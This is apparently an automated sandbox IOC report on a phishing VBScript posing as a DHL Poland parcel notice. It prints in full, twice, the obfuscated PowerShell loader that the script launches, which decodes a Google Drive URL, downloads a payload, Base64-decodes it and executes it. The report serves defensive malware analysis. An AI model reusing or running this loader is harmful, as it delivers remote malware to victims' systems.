IOC Report
DHL Polska_Powiadomienie oprzesy#U0142ce 28036893335.vbs

DHL Polska_Powiadomienie oprzesy#U0142ce 28036893335.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHL Polska_Powiadomienie oprzesy#U0142ce 28036893335.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cygnid Hemiteratic Orthodiagraphy217 Malleolar lovreglens Aflbsledninger Sagsaktens Traadrullerne Nonscalar Nondeclaratory Yawnups Abet226 Stammefejderne33 Avitaminosis Aabenlyses Fusionsmusikken Earthworms kursusmodulet Bolledejene Rollefag Eyras Windowshopping Usr Disboscation91 Cygnid Hemiteratic Orthodiagraphy217 Malleolar lovreglens Aflbsledninger Sagsaktens Traadrullerne Nonscalar Nondeclaratory Yawnups Abet226 Stammefejderne33 Avitaminosis Aabenlyses Fusionsmusikken Earthworms kursusmodulet Bolledejene Rollefag Eyras Windowshopping Usr Disboscation91';If (${host}.CurrentCulture) {$Clairaudience++;}Function Trosfllen($Gendigtende){$Statshemmelighedernes=$Gendigtende.Length-$Clairaudience;$Prehensible='SUBsTRI';$Prehensible+='ng';For( $Bilkberne195=2;$Bilkberne195 -lt $Statshemmelighedernes;$Bilkberne195+=3){$Cygnid+=$Gendigtende.$Prehensible.Invoke( $Bilkberne195, $Clairaudience);}$Cygnid;}function Extensionalism($Medullitis){ & ($Impotens) ($Medullitis);}$Czardas=Trosfllen ' OMVroM,zBaiAalR.lA,a.e/St5no.Ko0Ge Br(BaWIni MnP,d,doMew esRe pNC TF, sp1Ta0 ,. E0S.;Pn ,W ,iSknS 6En4 l;Go TrxSk6Fo4 ;f, FrGuvH :Ma1L 2,a1.n.Pa0Re)B, GE,e.ecAnkWioH / G2N.0an1St0.y0T,1.b0.s1m. CFVei rr IeEnfLyoPrxSo/Co1Ty2S,1 A. t0 D ';$Preassuring=Trosfllen ' aUH sKoeOprFa-neA,ugK,e nCot.k ';$lovreglens=Trosfllen 'D hHjtOct .pAcsOs:Tr/Sa/Hod SrTei,fvSkeS .GigL,o.iohygAxlTueB,. DcReo CmEr/FiuP.c i?BeeAnxa.pSkoA,rVet I=BidP oCaw.in OlS.o qaOvdTr&LoiMad M=Ko1 ey S-UnsBorArWMey t9P.W sPaTBox EODe0SeaA.cUs2 FNJiV agAn8 JA ,2,ea .U .mEonBiTRi3BeVSgqunyJ CP ';$Unhomologic=Trosfllen ' >Te ';$Impotens=Trosfllen 'PeiUneStxUm ';$Aarigt='Traadrullerne';$Databasemodellerne = Trosfllen 'B eTrcK.h,noMy K%U.a YpT pKvdChaHatBraUl% S\ oD,vesim,eo,rcL.r.iaRetKniEasOliStnDigNo. IS ppb.iCo W,&Bj&Ki E.eUncX h .oFo At H ';Extensionalism (Trosfllen ' S$,ngH,lVioKubSoa lM : bGrit.gRatCrhG.aGetu.c ah.r=.h(ZacFlm KdJ, Pa/ eceu E.$AnDBraTet ,aSnb Aa FsKle AmR oEld.eeOrlL,l,keA rMonFoeHe)lu ');Extensionalism (Trosfllen 'Ki$R gOsl aoPrbS aTul.r:K.MT.a,tlSylUneAuo TlSkaFarS,= ,$MelS oN v er ,e rg .l eeT nC,sJr.mis ,pScl PiFot V( S$MeUErn Ch .oAdmUroTel.koH,g,biFlcdi)co ');Extensionalism (Trosfllen ' P[B.NHaeT,t .. .S .eFerB,vFoi.tcNoeT,POvoLiiChnSltBiMRea Kn DaOkg.ieSarC,] .:.i:DiSKleSpcSeu irSliIntUny.iP Cr.eo ,t So fcF,o lTe .l=Bu Se[ NBeeFutAl.BeSAteSocfruMar OiElt ay.oP Kr.noSutVeoSacKioCol UT fy.ip.eeGa]Ls: o:S.TPalDosMo1ps2 , ');$lovreglens=$Malleolar[0];$Fjedrene= (Trosfllen ' o$.lgKul.eoEtbD.aSilA.:esAFonD,i PsDee.liNdkMyo intriF.cGu= ,N Pe.aw H-AfOjebToj keFocP.t , DeSSpy esSntheeBimUl.,dN ReS.tRe.LuWspePrbSpC ,lE,iFoen nV t');$Fjedrene+=$bigthatch[1];Extensionalism ($Fjedrene);Extensionalism (Trosfllen 'do$UhA,rnFiidesBeePriFrkVroStnsai .cIr.LeHDue ,aGidAte,orImsBu[Eu$StP SrDeeTuaSysBosDiuPrr Di TnR gSo]Cr=S $SuCStzRha,mrJod fa.esVa ');$Padleaare=Trosfllen 'Lu$A,Abint,ipasspeGni PkTeom,nq.iUnc,r.FoDNooCuwStnIml.ao,aa,wdKaF iU l ie .( .$ AlS.oUnv .rT.e egCll,ae OnBesBu,Ta$TuW .i .n ,dCaoI.wSustrhDeoB.p.op iKonEpgPr)Ko ';$Windowshopping=$bigthatch[0];Extensionalism (Trosfllen 'S $Cog AlFuo.obTaaP.lEn: yG nyAtm ,n aa fs.tt ke .rFonAfe,tsH,= O( RTA eGasHotNo-A.PV,aArt ,hOc o$FoWH.iS,nGadMeo SwPrsSvhTeo,ppExpU.iSlnOpgOm)Ac ');while (!$Gymnasternes) {Extensionalism (Trosfllen ' n$ hgT lbooSub,uaJolFl:PeS SkMeo ,l ieLes ,kO,eCamSuaVasIn= U$OutfirBluPreCa ') ;Extensionalism $Padleaare;Extensionalism (Trosfllen '.aS Tt.haStrDit.a-AdSUnl HeEke,lplk Ki4 H ');Extensionalism (Trosfllen 'E,$OvgT l aoS.b PaPolKo:siGAny mD,nTaaLysR,t ae r NnS,eShsRi=.e(M TExeStsU.tI,-AnPMaa ntCahNo go$PaWR,irenS.dDeoaswSvs AhProR,p ip.ii InHegBe)T ') ;Extensionalism (Trosfllen 'W,$T,g .lM,oChbfoa.alT :K.O tr trehgloFldFriCoa gBer aPrpO,hS.y o2Ru1 .7Fo= l$ ,g,yl MoDebPra SlT,:C HP eOvm TilitDeeJar uaNdtGaiDrcJ,+Pa+Be%Re$.iMHyaPolYmlMaef.o nlR a SrTr.Rac ,oHuuOtnBetEn ') ;$lovreglens=$Malleolar[$Orthodiagraphy217];}$Firetogs123=301889;$Stjrthagerne=26396;Extensionalism (Trosfllen 'P $AcgSllTio.nbGta rl,o:EnNVaoM n.esVkcE aV lBaaSerRe G.=Mi BG.ceIntSc-S.CA oS.nPrtCae CnAnt U Pa$NaW.oi,lnNudB oApwIns,nh Fo Jp Bp PiS,nReg.a ');Extensionalism (Trosfllen ',r$HogSnlOboWabBuaHelS,:DiG.uaTrl GlB u .paat,aaD.lSel Ae en SeSns n2 p9La D.=R A[ oSReyTisfrt ieCom .L.CDeo.onF.vnie.nrOvtG,]Be: D: TF Dr MoNom LBA,a osBue E6Mn4,eSS t .rH iRonB g (a $ ,N,yoRanTesPecPoaOrlCha srTr)Ly ');Extensionalism (Trosfllen 'Oc$Prg ,lAloP.b.iaFel V:P AS.bN.eRitHo2Un2 .6Ut F.=Th St[KoS ByC,sCatUne m .roTBle.hxDet K.PrEa.nSkcApoFedS iP.nlig .] r: A:FoA.rSSkCBeIC,IT,.jaG ReR,tInS Otter FiMenArgS (,e$ KGDiaKol.olFsuInpF t NaF l.gl le ,nB.eklsN,2 S9Ci).n ');Extensionalism (Trosfllen 'Li$,sgKol,eodobUla ,l.f:,aUHnnIns Ww FeErlg,tNoe vr.diStnCig,a=A $unA MbO e.pt.l2 a2Op6,i.AfsPauArb Ns MtKorKoiUdnRegBe(Pe$AiFUniDir de ,tS o,ng,asR.1Ko2Gr3Fe, T$CoSP,t BjDerF,t,lhA,aKag ae Lr.rnTie S)Cr ');Extensionalism $Unsweltering;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cygnid Hemiteratic Orthodiagraphy217 Malleolar lovreglens Aflbsledninger Sagsaktens Traadrullerne Nonscalar Nondeclaratory Yawnups Abet226 Stammefejderne33 Avitaminosis Aabenlyses Fusionsmusikken Earthworms kursusmodulet Bolledejene Rollefag Eyras Windowshopping Usr Disboscation91 Cygnid Hemiteratic Orthodiagraphy217 Malleolar lovreglens Aflbsledninger Sagsaktens Traadrullerne Nonscalar Nondeclaratory Yawnups Abet226 Stammefejderne33 Avitaminosis Aabenlyses Fusionsmusikken Earthworms kursusmodulet Bolledejene Rollefag Eyras Windowshopping Usr Disboscation91';If (${host}.CurrentCulture) {$Clairaudience++;}Function Trosfllen($Gendigtende){$Statshemmelighedernes=$Gendigtende.Length-$Clairaudience;$Prehensible='SUBsTRI';$Prehensible+='ng';For( $Bilkberne195=2;$Bilkberne195 -lt $Statshemmelighedernes;$Bilkberne195+=3){$Cygnid+=$Gendigtende.$Prehensible.Invoke( $Bilkberne195, $Clairaudience);}$Cygnid;}function Extensionalism($Medullitis){ & ($Impotens) ($Medullitis);}$Czardas=Trosfllen ' OMVroM,zBaiAalR.lA,a.e/St5no.Ko0Ge Br(BaWIni MnP,d,doMew esRe pNC TF, sp1Ta0 ,. E0S.;Pn ,W ,iSknS 6En4 l;Go TrxSk6Fo4 ;f, FrGuvH :Ma1L 2,a1.n.Pa0Re)B, GE,e.ecAnkWioH / G2N.0an1St0.y0T,1.b0.s1m. CFVei rr IeEnfLyoPrxSo/Co1Ty2S,1 A. t0 D ';$Preassuring=Trosfllen ' aUH sKoeOprFa-neA,ugK,e nCot.k ';$lovreglens=Trosfllen 'D hHjtOct .pAcsOs:Tr/Sa/Hod SrTei,fvSkeS .GigL,o.iohygAxlTueB,. DcReo CmEr/FiuP.c i?BeeAnxa.pSkoA,rVet I=BidP oCaw.in OlS.o qaOvdTr&LoiMad M=Ko1 ey S-UnsBorArWMey t9P.W sPaTBox EODe0SeaA.cUs2 FNJiV agAn8 JA ,2,ea .U .mEonBiTRi3BeVSgqunyJ CP ';$Unhomologic=Trosfllen ' >Te ';$Impotens=Trosfllen 'PeiUneStxUm ';$Aarigt='Traadrullerne';$Databasemodellerne = Trosfllen 'B eTrcK.h,noMy K%U.a YpT pKvdChaHatBraUl% S\ oD,vesim,eo,rcL.r.iaRetKniEasOliStnDigNo. IS ppb.iCo W,&Bj&Ki E.eUncX h .oFo At H ';Extensionalism (Trosfllen ' S$,ngH,lVioKubSoa lM : bGrit.gRatCrhG.aGetu.c ah.r=.h(ZacFlm KdJ, Pa/ eceu E.$AnDBraTet ,aSnb Aa FsKle AmR oEld.eeOrlL,l,keA rMonFoeHe)lu ');Extensionalism (Trosfllen 'Ki$R gOsl aoPrbS aTul.r:K.MT.a,tlSylUneAuo TlSkaFarS,= ,$MelS oN v er ,e rg .l eeT nC,sJr.mis ,pScl PiFot V( S$MeUErn Ch .oAdmUroTel.koH,g,biFlcdi)co ');Extensionalism (Trosfllen ' P[B.NHaeT,t .. .S .eFerB,vFoi.tcNoeT,POvoLiiChnSltBiMRea Kn DaOkg.ieSarC,] .:.i:DiSKleSpcSeu irSliIntUny.iP Cr.eo ,t So fcF,o lTe .l=Bu Se[ NBeeFutAl.BeSAteSocfruMar OiElt ay.oP Kr.noSutVeoSacKioCol UT fy.ip.eeGa]Ls: o:S.TPalDosMo1ps2 , ');$lovreglens=$Malleolar[0];$Fjedrene= (Trosfllen ' o$.lgKul.eoEtbD.aSilA.:esAFonD,i PsDee.liNdkMyo intriF.cGu= ,N Pe.aw H-AfOjebToj keFocP.t , DeSSpy esSntheeBimUl.,dN ReS.tRe.LuWspePrbSpC ,lE,iFoen nV t');$Fjedrene+=$bigthatch[1];Extensionalism ($Fjedrene);Extensionalism (Trosfllen 'do$UhA,rnFiidesBeePriFrkVroStnsai .cIr.LeHDue ,aGidAte,orImsBu[Eu$StP SrDeeTuaSysBosDiuPrr Di TnR gSo]Cr=S $SuCStzRha,mrJod fa.esVa ');$Padleaare=Trosfllen 'Lu$A,Abint,ipasspeGni PkTeom,nq.iUnc,r.FoDNooCuwStnIml.ao,aa,wdKaF iU l ie .( .$ AlS.oUnv .rT.e egCll,ae OnBesBu,Ta$TuW .i .n ,dCaoI.wSustrhDeoB.p.op iKonEpgPr)Ko ';$Windowshopping=$bigthatch[0];Extensionalism (Trosfllen 'S $Cog AlFuo.obTaaP.lEn: yG nyAtm ,n aa fs.tt ke .rFonAfe,tsH,= O( RTA eGasHotNo-A.PV,aArt ,hOc o$FoWH.iS,nGadMeo SwPrsSvhTeo,ppExpU.iSlnOpgOm)Ac ');while (!$Gymnasternes) {Extensionalism (Trosfllen ' n$ hgT lbooSub,uaJolFl:PeS SkMeo ,l ieLes ,kO,eCamSuaVasIn= U$OutfirBluPreCa ') ;Extensionalism $Padleaare;Extensionalism (Trosfllen '.aS Tt.haStrDit.a-AdSUnl HeEke,lplk Ki4 H ');Extensionalism (Trosfllen 'E,$OvgT l aoS.b PaPolKo:siGAny mD,nTaaLysR,t ae r NnS,eShsRi=.e(M TExeStsU.tI,-AnPMaa ntCahNo go$PaWR,irenS.dDeoaswSvs AhProR,p ip.ii InHegBe)T ') ;Extensionalism (Trosfllen 'W,$T,g .lM,oChbfoa.alT :K.O tr trehgloFldFriCoa gBer aPrpO,hS.y o2Ru1 .7Fo= l$ ,g,yl MoDebPra SlT,:C HP eOvm TilitDeeJar uaNdtGaiDrcJ,+Pa+Be%Re$.iMHyaPolYmlMaef.o nlR a SrTr.Rac ,oHuuOtnBetEn ') ;$lovreglens=$Malleolar[$Orthodiagraphy217];}$Firetogs123=301889;$Stjrthagerne=26396;Extensionalism (Trosfllen 'P $AcgSllTio.nbGta rl,o:EnNVaoM n.esVkcE aV lBaaSerRe G.=Mi BG.ceIntSc-S.CA oS.nPrtCae CnAnt U Pa$NaW.oi,lnNudB oApwIns,nh Fo Jp Bp PiS,nReg.a ');Extensionalism (Trosfllen ',r$HogSnlOboWabBuaHelS,:DiG.uaTrl GlB u .paat,aaD.lSel Ae en SeSns n2 p9La D.=R A[ oSReyTisfrt ieCom .L.CDeo.onF.vnie.nrOvtG,]Be: D: TF Dr MoNom LBA,a osBue E6Mn4,eSS t .rH iRonB g (a $ ,N,yoRanTesPecPoaOrlCha srTr)Ly ');Extensionalism (Trosfllen 'Oc$Prg ,lAloP.b.iaFel V:P AS.bN.eRitHo2Un2 .6Ut F.=Th St[KoS ByC,sCatUne m .roTBle.hxDet K.PrEa.nSkcApoFedS iP.nlig .] r: A:FoA.rSSkCBeIC,IT,.jaG ReR,tInS Otter FiMenArgS (,e$ KGDiaKol.olFsuInpF t NaF l.gl le ,nB.eklsN,2 S9Ci).n ');Extensionalism (Trosfllen 'Li$,sgKol,eodobUla ,l.f:,aUHnnIns Ww FeErlg,tNoe vr.diStnCig,a=A $unA MbO e.pt.l2 a2Op6,i.AfsPauArb Ns MtKorKoiUdnRegBe(Pe$AiFUniDir de ,tS o,ng,asR.1Ko2Gr3Fe, T$CoSP,t BjDerF,t,lhA,aKag ae Lr.rnTie S)Cr ');Extensionalism $Unsweltering;"

607A000

trusted library allocation

page read and write

1D066B48000

trusted library allocation

page read and write